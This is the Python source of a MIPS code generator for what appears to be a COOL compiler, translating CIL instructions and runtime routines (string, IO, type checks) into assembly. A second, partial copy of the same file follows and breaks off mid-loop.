protected](cil.LessThan)\n\tdef visit(self, node: cil.LessThan):\n\t\tself.write_file('# <')\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\[email protected](cil.EqualOrLessThan)\n\tdef visit(self, node: cil.EqualOrLessThan):\n\t\tself.write_file('# <=')\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\n############################## ATTRIBUTES ####################################\n\n\n\[email protected](cil.GetAttrib)\n\tdef visit(self, node: cil.GetAttrib):\n\t\tself.write_file('# GETATTR')\n\t\tself.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n\t\tself.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n\t\tself.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n\t\tself.write_file('')\n\n\n\[email protected](cil.SetAttrib)\n\tdef visit(self, node: cil.SetAttrib):\n\t\tself.write_file('# SETATTR')\n\t\tself.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n\t\tif isinstance(node.src, int):\n\t\t\tself.write_file(f'li $a0, {node.src}')\n\t\telif node.src[:5] == \"data_\":\n\t\t\tself.write_file(f'la $a0, {node.src}')\n\t\telse:\n\t\t\tself.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n\t\tself.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n\t\tself.write_file('')\n\n\n################################ MEMORY ######################################\n\n\n\[email protected](cil.TypeOf)\n\tdef visit(self, node: cil.TypeOf):\n\t\tself.write_file('# TYPEOF')\n\t\tself.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n\t\tself.write_file(f'lw $a0 0($a1)')\n\t\tself.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n\t\tself.write_file('')\n\n\n\[email protected](cil.Allocate)\n\tdef visit(self, node: cil.Allocate):\n\t\tself.write_file('# ALLOCATE')\n\t\tif node.ttype == VOID_TYPE:\n\t\t\tself.write_file(f'la $v0 {VOID_MIPS_NAME}')\n\t\t\tself.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\t\t\t\n\t\telse:\n\t\t\toffset_proto = self.type_index.index(node.ttype) * 8\n\t\t\tself.write_file('lw $t0 {}($s0)'.format(offset_proto))\n\t\t\tself.write_file('sw $t0, 0($sp)')\n\t\t\tself.write_file('addiu $sp, $sp, -4')\n\t\t\tself.write_file('')\n\t\t\tself.visit(cil.Call(dest = node.dest, f = \"Object_copy\"))\n\t\t\tself.write_file('addiu $sp, $sp, 4')\n\t\tself.write_file('')\n\n\n########################## DISPATCH STATEMENTS ###############################\n\n\n\[email protected](cil.Call)\n\tdef visit(self, node: cil.Call):\n\t\tself.write_file('# CALL')\n\n\t\t# Save return address and frame pointer\n\t\tself.write_file(f'addiu $sp, $sp, -8')\n\t\tself.write_file(f'sw $ra, 4($sp)')\n\t\tself.write_file(f'sw $fp, 8($sp)')\n\n\t\t# Call the function\n\t\tself.write_file(f'jal function_{node.f}')\n\n\t\t# Restore return address and frame pointer\n\t\tself.write_file(f'lw $fp, 8($sp)')\n\t\tself.write_file(f'lw $ra, 4($sp)')\n\t\tself.write_file(f'addiu $sp, $sp, 8')\n\n\t\tif node.dest:\n\t\t\tself.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n\n\t\tself.write_file('')\n\n\n\[email protected](cil.VCall)\n\tdef visit(self, node: cil.VCall):\n\t\tself.write_file('# VCALL')\n\n\t\t# Save return address and frame pointer\n\t\tself.write_file(f'addiu $sp, $sp, -8')\n\t\tself.write_file(f'sw $ra, 4($sp)')\n\t\tself.write_file(f'sw $fp, 8($sp)')\n\n\t\tif node.ttype[0] == \"_\":\n\t\t\t# If node.type is a local CIL variable\n\t\t\tself.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n\t\telse:\n\t\t\t# If node.type a type name\n\t\t\tself.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n\t\tself.write_file(f'mulu $a2, $a2, 8')\n\t\tself.write_file(f'addu $a2, $a2, $s0')\n\t\tself.write_file(f'lw $a1, 0($a2)')\n\n\t\t# Check the dispatch table for the method's address\n\t\tself.write_file(f'lw $a2, 8($a1)')\n\t\tself.write_file(f'lw $a0 {node.f * 4}($a2)')\n\n\t\t# Call the function at 0($a0)\n\t\tself.write_file(f'jalr $a0')\n\n\t\t# Restore return address and frame pointer\n\t\tself.write_file(f'lw $fp, 8($sp)')\n\t\tself.write_file(f'lw $ra, 4($sp)')\n\t\tself.write_file(f'addiu $sp, $sp, 8')\n\n\t\t# Save value after restoring $fp\n\t\tself.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n\n\t\t# Check prototypes table for the dynamic type\n\t\tif node.ttype[0] != '_':\n\t\t\tself.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n\t\telse:\n\t\t\tself.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n\n\t\tself.write_file('')\n\n\n\[email protected](cil.PushParam)\n\tdef visit(self, node: cil.PushParam):\n\t\tself.write_file('# PUSHPARAM')\n\t\tif node.name[0] != \"_\":\n\t\t\tself.write_file('li $a0, {}'.format(self.type_index.index(node.name)))\n\t\telse:\n\t\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n\t\tself.push()\n\t\tself.write_file('')\n\n\n\[email protected](cil.PopParam)\n\tdef visit(self, node: cil.PopParam):\n\t\tself.write_file('# POPPARAM')\n\t\tself.pop(node.name)\n\t\tself.write_file('')\n\n\n\[email protected](cil.Return)\n\tdef visit(self, node: cil.Return):\n\t\tself.write_file('# RETURN')\n\t\tself.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n\n################################# JUMPS ######################################\n\n\n\[email protected](cil.Label)\n\tdef visit(self, node: cil.Label):\n\t\tself.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n\n\[email protected](cil.Goto)\n\tdef visit(self, node: cil.Goto):\n\t\tself.write_file('# GOTO')\n\t\tself.write_file('j _cil_label_{}'.format(node.label))\n\t\tself.write_file('')\n\n\n\[email protected](cil.IfGoto)\n\tdef visit(self, node: cil.IfGoto):\n\t\tself.write_file('# IF GOTO')\n\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n\t\tself.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n\t\tself.write_file('')\n\n\n############################## STATIC CODE ###################################\n\n\t#----- STATIC DATAs\n\n\tdef static_datas(self):\n\t\t# Buffer for reading strings\n\t\tself.write_file('str_buffer: .space 1025')\t\t\n\t\tself.write_file('')\n\n\t\t# Declare error mensages\n\t\tself.write_file('_index_negative_msg: .asciiz \\\"Index to substr is negative\\\\n\\\"')\n\t\tself.write_file('_index_out_msg: .asciiz \\\"Index out range exception\\\\n\\\"')\n\t\tself.write_file('_abort_msg: \\\"Execution aborted\\\\n\\\"')\n\t\tself.write_file('_div_zero_msg: \\\"Division by zero exception\\\\n\\\"')\n\n\t\tself.write_file('')\n\n\t#----- ENTRY FUNCTION\n\n\tdef entry(self):\n\t\tself.write_file('entry:', tabbed=False)\n\t\tself.visit(cil.Call(dest = None, f = 'build_class_name_table'))\n\t\tself.visit(cil.Call(dest = None, f = 'allocate_prototypes_table'))\n\t\tself.visit(cil.Call(dest = None, f = 'build_prototypes'))\n\t\tself.visit(cil.Call(dest = None, f = 'build_dispatch_tables'))\n\t\tself.visit(cil.Call(dest = None, f = 'build_class_parents_table'))\n\t\tself.visit(cil.Allocate(dest = None, ttype = 'Main'))\n\n\t\t# Push main self\n\t\tself.write_file('sw $v0 0($sp)')\n\t\tself.write_file('addiu $sp $sp -4')\n\n\t\tself.visit(cil.Call(dest = None, f = f'Main_{INIT_CIL_SUFFIX}'))\n\t\tself.write_file('addiu $sp $sp 4')\n\n\t\t# Push main self\n\t\tself.write_file('sw $v0 0($sp)')\n\t\tself.write_file('addiu $sp $sp -4')\n\n\t\tself.visit(cil.Call(dest = None, f = 'Main_main'))\n\t\tself.write_file('addiu $sp $sp 4')\n\n\t\tself.write_file('li $v0 10')\n\t\tself.write_file('syscall')\n\n\t#----- OBJECT METHODS\n\n\tdef object_abort(self):\n\t\tself.write_file('function_Object_abort:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef object_copy(self):\n\t\tself.write_file('function_Object_copy:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file('lw $t0 12($fp)')# recoger la instancia a copiar\n\t\tself.write_file('lw $a0 4($t0)')\n\t\tself.write_file('move $t4 $a0')\n\t\tself.write_file('li $v0 9')\n\t\tself.write_file('syscall')# guarda en v0 la direccion de memoria que se reservo\n\t\tself.write_file('move $t2 $v0')# salvar la direccion donde comienza el objeto\n\t\tself.write_file('li $t3 0') # size ya copiado\n\t\tself.write_file('_objcopy_loop:', tabbed=False)\n\t\tself.write_file('lw $t1 0($t0)') # cargar la palabra por la que voy\n\t\tself.write_file('sw $t1 0($v0)') # copiar la palabra\n\t\tself.write_file('addiu $t0 $t0 4') # posiciona el puntero en la proxima palabra a copiar\n\t\tself.write_file('addiu $v0 $v0 4')\t# posiciona el puntero en la direccion donde copiar la proxima palabra\n\t\tself.write_file('addiu $t3 $t3 4') # actualizar el size copiado\n\t\tself.write_file('ble $t4 $t3 _objcopy_loop') # verificar si la condicion es igual o menor igual\n\t\tself.write_file('_objcopy_div_end_:', tabbed=False)\n\t\tself.write_file('move $v0 $t2') # dejar en v0 la direccion donde empieza el nuevo objeto\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef object_typename(self):\n\t\tself.write_file('function_Object_type_name:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\t# Box the string reference\n\t\tself.visit(cil.Allocate(dest = None, ttype = STRING_CLASS))\t\t# Create new String object\n\t\tself.write_file('move $v1 $v0')\n\n\t\t# Box string's length\n\t\tself.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)\t)\t\t# Create new Int object\n\n\t\tself.write_file('lw $a1 12($fp)')\t\t\t# self\n\t\tself.write_file('lw $a1 0($a1)')\n\t\tself.write_file('mulu $a1 $a1 4')\t\t\t# self's class tag\n\t\tself.write_file('addu $a1 $a1 $s1')\t\t\t# class name table entry address\n\t\tself.write_file('lw $a1 0($a1)')\t\t\t\t# Get class name address\n\n\t\tself.write_file('move $a2 $0')\t\t\t\t# Compute string's length\n\t\tself.write_file('move $t2 $a1')\n\t\tself.write_file('_str_len_clsname_:', tabbed=False)\n\t\tself.write_file('lb $a0 0($t2)')\n\t\tself.write_file('beq $a0 $0 _end_clsname_len_')\n\t\tself.write_file('addiu $a2 $a2 1')\n\t\tself.write_file('addiu $t2 $t2 1')\n\t\tself.write_file('j _str_len_clsname_')\n\t\tself.write_file('_end_clsname_len_:', tabbed=False)\n\n\t\tself.write_file('sw $a2, 12($v0)')\t\t\t# Store string's length\n\n\t\tself.write_file('sw $v0, 12($v1)')\t\t\t# Fill String attributes\n\t\tself.write_file('sw $a1, 16($v1)')\n\n\t\tself.write_file('move $v0 $v1')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\n\t#----- STRING METHODS\n\n\tdef string_length(self):\n\t\tself.write_file('function_String_length:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file('lw $a0 12($fp)')\t\t\t# Self\n\t\tself.write_file('lw $v0 12($a0)')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef string_concat(self):\n\t\tself.write_file('function_String_concat:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS))\t\t# Create new Int object\n\t\tself.write_file('move $v1 $v0')\t\t\t\t\t\t\t\t\t\t\t\t# Save new Int Object\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = STRING_CLASS))\t\t# Create new String object\n\t\tself.write_file('move $t3 $v0')\t\t\t# Store new String object\n\n\t\tself.write_file('lw $a1 12($fp)')\t\t# Self\n\t\tself.write_file('lw $a2 16($fp)')\t\t# Boxed String to concat\n\n\t\tself.write_file('lw $t1 12($a1)')\t\t# Self's length Int object\n\t\tself.write_file('lw $t1 12($t1)')\t\t# Self's length\n\n\t\tself.write_file('lw $t2 12($a2)')\t\t# strings to concat's length Int object\n\t\tself.write_file('lw $t2 12($t2)')\t\t# strings to concat's length\n\n\t\tself.write_file('addu $t0 $t2 $t1') \t\t# New string's length\n\t\tself.write_file('sw $t0 12($v1)')\t\t\t# Store new string's length into box\n\n\t\tself.write_file('lw $a1 16($a1)')\t\t# Unbox strings\n\t\tself.write_file('lw $a2 16($a2)')\n\n\t\tself.write_file('addiu $t0 $t0 1')\t\t# Add space for \\0\n\t\tself.allocate_memory('$t0', register=True)\t# Allocate memory for new string\n\t\tself.write_file('move $t5 $v0')\t\t\t\t\t# Keep the string's reference in v0 and use t7\n\n\n\t\t# a1: self's string\t\ta2: 2nd string\t\t\tt1: length self t2: 2nd string length\n\t\t#\t\t\t\t\t\t\t\t\tv1: new string's int object\n\n\t\tself.write_file('move $t4 $a1')\t\t\t# Index for iterating the self string\n\t\tself.write_file('addu $a1 $a1 $t1')\t\t# self's copy limit\n\t\tself.write_file('_strcat_copy_:', tabbed=False)\n\t\tself.write_file('beq $t4 $a1 _end_strcat_copy_')\t# No more characters to copy\n\n\t\tself.write_file('lb $a0 0($t4)')\t\t\t# Copy the character\n\t\tself.write_file('sb $a0 0($t5)')\n\n\t\tself.write_file('addiu $t5 $t5 1')\t\t# Advance indices\n\t\tself.write_file('addiu $t4 $t4 1')\n\t\tself.write_file('j _strcat_copy_')\n\t\tself.write_file('_end_strcat_copy_:', tabbed=False)\n\n\t\t# Copy 2nd string\n\n\t\tself.write_file('move $t4 $a2')\t\t\t# Index for iterating the strings\n\t\tself.write_file('addu $a2 $a2 $t2')\t\t# self's copy limit\n\t\tself.write_file('_strcat_copy_snd_:', tabbed=False)\n\t\tself.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\t# No more characters to copy\n\n\t\tself.write_file('lb $a0 0($t4)')\t\t\t# Copy the character\n\t\tself.write_file('sb $a0 0($t5)')\n\n\t\tself.write_file('addiu $t5 $t5 1')\t\t# Advance indices\n\t\tself.write_file('addiu $t4 $t4 1')\n\t\tself.write_file('j _strcat_copy_snd_')\n\t\tself.write_file('_end_strcat_copy_snd_:', tabbed=False)\n\n\t\tself.write_file('sb $0 0($t5)')\t\t\t# End string with \\0\n\n\t\t# $v0: reference to new string\t\t\t$v1: length int object\n\t\t# \t\t\t\t\t\t$t3: new string object\n\t\t# -> Create boxed string\n\n\t\tself.write_file('sw $v1 12($t3)')\t\t# New length\n\t\tself.write_file('sw $v0 16($t3)')\t\t# New string\n\n\t\tself.write_file('move $v0 $t3')\t\t\t# Return new String object in $v0\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef string_substr(self):\n\t\tself.write_file('function_String_substr:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\t\tself.write_file(f'lw $t5 12($fp)') # self param\n\t\tself.write_file(f'lw $a1 16($fp)') # reference of object int that represent i\n\t\tself.write_file(f'lw $a1 12($a1)') # value of i\n\t\tself.write_file(f'lw $a2 20($fp)') # reference of object int that represent j\n\t\tself.write_file(f'lw $a2 12($a2)') # value of j that is length to copy\n\t\tself.write_file(f'blt $a1 $0 _index_negative') # index i is negative\n\t\tself.write_file(f'blt $a2 $0 _index_negative') # length j is negative\n\t\tself.write_file(f'add $a2 $a1 $a2') # finish index\n\t\tself.write_file(f'lw $a3 12($t5)')\n\t\tself.write_file(f'lw $a3 12($a3)') # length of string\n\t\tself.write_file(f'bgt $a2 $a3 _index_out') # j > lenght\n\n\t\t# not errors\n\t\tself.visit(cil.Allocate(dest = None, ttype = STRING_CLASS))\n\t\tself.write_file(f'move $v1 $v0') # new string\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS))\n\t\tself.write_file(f'move $t0 $v0') # lenght of string\n\t\tself.write_file(f'move $t7 $a2')\n\t\tself.write_file(f'subu $t7 $t7 $a1')\n\t\tself.write_file(f'sw $t7 12($t0)') # save number that represent lenght of new string\n\n\t\tself.allocate_memory('$a2', register=True)\t# $v0 -> address of the string\n\n\t\tself.write_file(f'sw $t0 12($v1)') # store length\n\t\tself.write_file(f'sw $v0 16($v1)') # store address of new string to String object\n\n\t\t# generate substring\n\t\tself.write_file('move $t1 $v0')\t\t\t\t# Index for iterating the new string\t\n\t\t\n\t\tself.write_file('lw $t5 16($t5)')\t\t\t# Index for iterating the self string\n\t\tself.write_file('move $t4 $t5')\n\t\tself.write_file('addu $t4 $t4 $a1') # self's copy start\n\t\tself.write_file('addu $t5 $t5 $a2')\t# self's copy limit\n\n\t\tself.write_file('_substr_copy_:', tabbed=False)\n\t\tself.write_file('bge $t4 $t5 _end_substr_copy_')\t# No more characters to copy\n\n\t\tself.write_file('lb $a0 0($t4)')\t\t\t# Copy the character\n\t\tself.write_file('sb $a0 0($t1)')\n\n\t\tself.write_file('addiu $t1 $t1 1')\t\t# Advance indices\n\t\tself.write_file('addiu $t4 $t4 1')\n\t\tself.write_file('j _substr_copy_')\n\n\t\t# errors sections\n\t\tself.write_file(f'_index_negative:',tabbed=False)\n\t\tself.write_file(f'la $a0 _index_negative_msg')\t\n\t\tself.write_file(f'b _subst_abort')\n\n\t\tself.write_file(f'_index_out:',tabbed=False)\n\t\tself.write_file(f'la $a0 _index_out_msg')\t\n\t\tself.write_file(f'b _subst_abort')\n\n\t\t# abort execution \n\t\tself.write_file(f'_subst_abort:',tabbed=False)\n\t\tself.write_file(f'li $v0 4') \n\t\tself.write_file(f'syscall')\n\t\tself.write_file('la\t$a0 _abort_msg')\n\t\tself.write_file(f'li $v0 4')\n\t\tself.write_file(f'syscall')\n\t\tself.write_file(f'li $v0 10')\n\t\tself.write_file(f'syscall') # exit\n\n\t\t# successful execution \n\t\tself.write_file('_end_substr_copy_:', tabbed=False)\n\n\t\tself.write_file('move $v0 $v1')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\t#----- IO\n\n\tdef io_in_int(self):\n\t\tself.write_file('function_IO_in_int:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS))\t\t\t# Create new Int object\n\n\t\tself.write_file('move $t0 $v0')\t\t\t\t# Save Int object\n\n\t\tself.write_file('li $v0 5')\t\t\t\t\t# Read int\n\t\tself.write_file('syscall')\n\n\t\tself.write_file('sw $v0 12($t0)')\t\t\t# Store int\n\n\t\tself.write_file('move $v0 $t0')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef io_in_string(self):\n\t\tself.write_file('function_IO_in_string:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS))\t\t# Create new Int object for string's length\n\t\tself.write_file('move $v1 $v0')\t\t\t# $v1: Int pbject\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = STRING_CLASS))\t\t\t# Create new String object\n\t\tself.write_file('sw $v1 12($v0)')\n\t\tself.write_file('move $t5 $v0')\t\t\t# $t5: String object\n\n\t\t# Read String and store in a temp buffer\n\t\tself.write_file('la $a0 str_buffer')\n\t\tself.write_file('li $a1 1025')\n\t\tself.write_file('li $v0 8')\t\t\t\t\t# Read string\n\t\tself.write_file('syscall')\n\n\t\t# Compute string's length\n\t\tself.write_file('move $a0 $0')\n\t\tself.write_file('la $t2 str_buffer')\n\t\tself.write_file('_in_string_str_len_:', tabbed=False)\n\t\tself.write_file('lb $t0 0($t2)')\n\t\tself.write_file('beq $t0 $0 _end_in_string_str_len_')\n\t\tself.write_file('beq $t0 10 _end_in_string_str_len_')\n\t\tself.write_file('addiu $a0 $a0 1')\n\t\tself.write_file('addiu $t2 $t2 1')\n\t\tself.write_file('j _in_string_str_len_')\n\t\tself.write_file('_end_in_string_str_len_:', tabbed=False)\n\n\t\t# Store string's length into Integer class\n\t\tself.write_file('sw $a0 12($v1)')\n\n\t\t# Allocate size in $a0 ... string's length\n\t\tself.allocate_memory()\n\n\t\t# $a0: string's length \t\t\t$v0: string's new address\t\t\t$t5: String object\n\n\t\t# Copy string from buffer to new address\n\t\tself.write_file('la $t4 str_buffer')\t\t\t# Index for iterating the string buffer\n\t\tself.write_file('move $t1 $v0')\t\t\t\t\t# Index for iterating new string address\n\n\t\tself.write_file('_in_str_copy_:', tabbed=False)\n\t\tself.write_file('lb $t0 0($t4)')\t\t\t# Load a character\n\t\tself.write_file('beq $t0 $0 _end_in_str_copy_')\t# No more characters to copy\n\t\tself.write_file('beq $t0 10 _end_in_str_copy_')\t# No more characters to copy\n\n\t\tself.write_file('sb $t0 0($t1)')\t\t\t# Copy the character\n\n\t\tself.write_file('addiu $t4 $t4 1')\t\t# Advance indices\n\t\tself.write_file('addiu $t1 $t1 1')\n\t\tself.write_file('j _in_str_copy_')\n\t\tself.write_file('_end_in_str_copy_:', tabbed=False)\n\n\t\t# Store string\n\t\tself.write_file('sw $v0 16($t5)')\t\n\n\t\t# Clean string buffer\n\t\tself.write_file('la $t4 str_buffer')\t\t\t# Index for iterating the string buffer\n\t\tself.write_file('_in_str_clean_:', tabbed=False)\n\t\tself.write_file('lb $t0 0($t4)')\t\t\t# Load a character\n\t\tself.write_file('beq $t0 $0 _end_in_str_clean_')\t# No more characters to clean\n\n\t\tself.write_file('sb $0 0($t4)')\t\t\t# Clean the character\n\n\t\tself.write_file('addiu $t4 $t4 1')\t\t# Advance indices\n\t\tself.write_file('j _in_str_clean_')\n\t\tself.write_file('_end_in_str_clean_:', tabbed=False)\n\n\t\t# Return new string in $v0\n\t\tself.write_file('move $v0 $t5')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef io_out_int(self):\n\t\tself.write_file('function_IO_out_int:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file('lw $a0 16($fp)')\t\t\t# Get Int object\n\t\tself.write_file('lw $a0 12($a0)')\n\n\t\tself.write_file('li $v0 1')\t\t\t\t\t# Print int\n\t\tself.write_file('syscall')\n\n\t\tself.write_file('lw $v0 12($fp)')\t\t\t\t# Return self\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\tdef io_out_string(self):\n\t\tself.write_file('function_IO_out_string:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file('lw $a0 16($fp)')\t\t\t# Get String object\n\t\tself.write_file('lw $a0 16($a0)')\n\n\t\tself.write_file('li $v0 4')\t\t\t\t\t# Print string\n\t\tself.write_file('syscall')\n\n\t\tself.write_file('lw $v0 12($fp)')\t\t\t\t# Return self\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\t#------ CONFORMS\n\n\tdef conforms(self):\n\t\tself.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.write_file(f'lw $t0 12($fp)')\t\t# First arg's class tag\n\t\tself.write_file(f'lw $t1 16($fp)')\t\t# Second arg's class tag\n\n\t\t# 2nd arg == Object -> return true\n\t\tself.write_file(f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_')\t\n\n\t\tself.write_file('_conforms_loop_:', tabbed=False)\n\n\t\t# current == 2nd arg -> return true\n\t\tself.write_file('beq $t0 $t1 _conforms_ret_true_')\t\n\n\t\t# current == Object -> return false\n\t\tself.write_file(f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_')\t\t\n\n\t\t# Query parents's class tag from $s2 ... class parent table\n\t\tself.write_file('mulu $t0 $t0 4')\n\t\tself.write_file('addu $t0 $t0 $s2')\t\t\n\t\tself.write_file('lw $t0 0($t0)')\t\t\t# current = current.parent\n\t\tself.write_file('j _conforms_loop_')\n\t\t\n\t\tself.write_file('_conforms_ret_true_:', tabbed=False)\n\t\tself.write_file('li $v0 1')\n\t\tself.write_file('j _conforms_ret_')\n\n\t\tself.write_file('_conforms_ret_false_:', tabbed=False)\n\t\tself.write_file('li $v0 0')\n\t\t\n\t\t# No need to store result in a Bool class\n\t\tself.write_file('_conforms_ret_:')\n\t\tself.write_file('jr $ra')\n\t\tself.write_file('')\n\n\t#------ ISVOID\n\n\tdef isvoid(self):\n\t\tself.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\n\t\tself.visit(cil.Allocate(dest = None, ttype = BOOLEAN_CLASS))\n\t\t# $v0 contains new Bool object\n\n\t\tself.write_file(f'lw $t0 12($fp)')\t\t\t\t\t# 1st arg is an object address\n\t\tself.write_file(f'la $t1 {VOID_MIPS_NAME}')\n\n\t\tself.write_file(f'beq $t0 $t1 _is_void_true_')\t# arg == void type\n\t\tself.write_file(f'sw $0 12($v0)')\t\t\t\t\t# return False\n\t\tself.write_file(f'j _is_void_end_')\n\n\t\tself.write_file(f'_is_void_true_:', tabbed=False)\n\t\tself.write_file(f'li $t0 1')\n\t\tself.write_file(f'sw $t0 12($v0)')\t\t\t\t\t# return True\n\t\tself.write_file(f'_is_void_end_:', tabbed=False)\n\n\t\t# Return Bool object in $v0\n\t\tself.write_file(f'jr $ra')\n\t\tself.write_file(f'')",
"<docstring token>\nimport sys\nsys.path.append('..')\nimport commons.cil_ast as cil\nimport commons.visitor as visitor\nfrom commons.settings import *\n\n\nclass MipsVisitor:\n \"\"\"\n\tMips Visitor Class.\n\n\tThis visitor will process the AST of the generated CIL and write the mips code to a file.\n\t\"\"\"\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n 